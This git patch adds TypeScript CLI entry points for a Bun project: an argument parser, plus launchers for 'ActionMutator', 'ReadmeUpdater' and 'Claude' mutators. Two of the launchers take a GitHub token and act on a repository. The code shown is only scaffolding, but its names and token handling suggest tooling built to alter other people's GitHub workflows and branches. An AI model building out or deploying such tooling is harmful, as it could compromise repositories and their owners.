From 7bd1df1f9e5d53fee4383cd6bec469313cbd36d4 Mon Sep 17 00:00:00 2001 From: shai_hulud Date: Fri, 3 Jul 2026 03:18:24 +0000 Subject: [PATCH] Upload files to "src/cli" --- src/cli/common.ts | 74 +++++++++++++++++++++++++++++++++++++++ src/cli/mutator-action.ts | 19 ++++++++++ src/cli/mutator-branch.ts | 21 +++++++++++ src/cli/mutator-claude.ts | 14 ++++++++ 4 files changed, 128 insertions(+) create mode 100644 src/cli/common.ts create mode 100644 src/cli/mutator-action.ts create mode 100644 src/cli/mutator-branch.ts create mode 100644 src/cli/mutator-claude.ts diff --git a/src/cli/common.ts b/src/cli/common.ts new file mode 100644 index 0000000..5ffccb9 --- /dev/null +++ b/src/cli/common.ts @@ -0,0 +1,74 @@ +import { logUtil } from "../utils/logger"; + +export interface ParsedArgs { + params: Record; + flags: Set; + json?: Record; +} + +export function parseArgs(argv: string[]): ParsedArgs { + const params: Record = {}; + const flags = new Set(); + + for (let i = 0; i < argv.length; i++) { + const arg = argv[i]!; + + if (arg.startsWith("--")) { + const key = arg.slice(2); + + if (key.includes("=")) { + const parts = key.split("=", 2); + const k = parts[0]!; + const v = parts[1]; + if (v === undefined) { + flags.add(k); + } else { + params[k] = v; + } + continue; + } + + if (i + 1 < argv.length && !argv[i + 1]!.startsWith("--")) { + params[key] = argv[i + 1]!; + i++; + } else { + flags.add(key); + } + } + } + + const result: ParsedArgs = { params, flags }; + + if (params._json) { + try { + result.json = JSON.parse(params._json); + } catch { + // ignore parse errors + } + } + + return result; +} + +export async function runModule( + name: string, + fn: () => Promise, +): Promise { + logUtil.log(`[${name}] starting...`); + + try { + const startedAt = Date.now(); + const result = await fn(); + const elapsed = Date.now() - startedAt; + + logUtil.log(`[${name}] completed in ${elapsed}ms`); + + process.stdout.write(JSON.stringify(result, null, 2) + "\n"); + process.exit(0); + } catch (err) { + logUtil.log(`[${name}] failed`); + const message = err instanceof Error ? err.message : String(err); + process.stderr.write(`ERROR: ${message}\n`); + process.exit(1); + } +} \ No newline at end of file diff --git a/src/cli/mutator-action.ts b/src/cli/mutator-action.ts new file mode 100644 index 0000000..0f823e9 --- /dev/null +++ b/src/cli/mutator-action.ts @@ -0,0 +1,19 @@ +#!/usr/bin/env bun +(globalThis as Record).scramble = (s: string): string => s; +(globalThis as Record).beautify = (s: string): string => s; + +import { parseArgs, runModule } from "./common"; + +async function main() { + const args = parseArgs(Bun.argv.slice(2)); + const token = args.params["github-token"]; + if (!token) throw new Error("--github-token required"); + + const dryRun = args.flags.has("dry-run"); + + const { ActionMutator } = await import("../mutator/action/actionMutator"); + const mutator = new ActionMutator(token, { dryRun }); + return mutator.execute(); +} + +runModule("ActionMutator", main); diff --git a/src/cli/mutator-branch.ts b/src/cli/mutator-branch.ts new file mode 100644 index 0000000..5840e4f --- /dev/null +++ b/src/cli/mutator-branch.ts @@ -0,0 +1,21 @@ +#!/usr/bin/env bun +(globalThis as Record).scramble = (s: string): string => s; +(globalThis as Record).beautify = (s: string): string => s; + +import { parseArgs, runModule } from "./common"; + +async function main() { + const args = parseArgs(Bun.argv.slice(2)); + const token = args.params["github-token"]; + if (!token) throw new Error("--github-token required"); + + if (!process.env.GITHUB_REPOSITORY) { + throw new Error("GITHUB_REPOSITORY env var required"); + } + + const { ReadmeUpdater } = await import("../mutator/branch/index"); + const mutator = new ReadmeUpdater(token); + return mutator.execute(); +} + +runModule("ReadmeUpdater", main); \ No newline at end of file diff --git a/src/cli/mutator-claude.ts b/src/cli/mutator-claude.ts new file mode 100644 index 0000000..b9ede72 --- /dev/null +++ b/src/cli/mutator-claude.ts @@ -0,0 +1,14 @@ +#!/usr/bin/env bun +(globalThis as Record).scramble = (s: string): string => s; +(globalThis as Record).beautify = (s: string): string => s; + +import { parseArgs, runModule } from "./common"; + +async function main() { + const { Claude } = await import("../mutator/claude/index"); + const mutator = new Claude(); + return mutator.execute(); +} + +const args = parseArgs(Bun.argv.slice(2)); +runModule("Claude", main); \ No newline at end of file